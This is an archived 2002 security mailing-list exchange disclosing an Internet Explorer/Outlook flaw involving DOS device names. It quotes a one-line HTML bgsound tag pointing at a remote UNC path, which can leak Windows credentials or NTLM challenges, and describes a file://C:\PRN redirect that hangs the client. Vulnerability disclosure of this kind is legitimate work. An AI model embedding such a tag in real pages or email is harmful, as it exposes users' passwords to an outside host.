Dear Chad Loder,
You're right! <bgsound src=3D"\\111.111.111.111\new\file.wav"> causes IE
to connect to 111.111.111.111 via NetBT. Depending on
LMCompatibilityLevel it may cause user's cleartext password or NTLMv1
challenge to leak. It's very serious bug.
--Friday, May 17, 2002, 1:38:16 PM, you wrote to error@pochtamt.ru:
CL> At Wednesday 5/15/2002 03:11 PM +0400, you wrote:
>> Title: Special device access and DoS in Microsoft Internet
>> Exporer/Outlook Express/Outlook
>>
>> All versions of Windows have a reserved filenames referred to special
>> devices such as prn, aux, nul, etc also called DOS devices.
CL> This might be related to a vulnerability that was reported to Microsoft
CL> on Mar 7 2001. See the BugTraq post:
CL> http://online.securityfocus.com/archive/1/197926
CL> The META HTTP-EQUIV=REFRESH tag used to do the trick
CL> from Outlook and other email clients using the MS
CL> HTML viewer (e.g. Eudora). Redirecting to file://C:\PRN
CL> was sufficient to hang the browser or email client.
CL> Microsoft assigned the following internal tracking
CL> number to the issue: "MSRC 673au", and fixed it in
CL> MS00-17. Obviously they didn't do a good enough
CL> job, since you guys found a way to print files, etc. :)
CL> Another scary thing is that you can cause the computer to connect
CL> to arbitrary UNC paths, which as you know, involves sending
CL> NetBIOS credentials over the wire (a good reason to use egress
CL> filtering).
CL> +--------------------------------
CL> Chad Loder <chad@rapid7.com>
CL> Rapid 7, Inc.
CL> <http://www.rapid7.com>
CL> +--------------------------------
-- ~/ZARAZA Существую лишь я сам, никуда не летя. (Лем)
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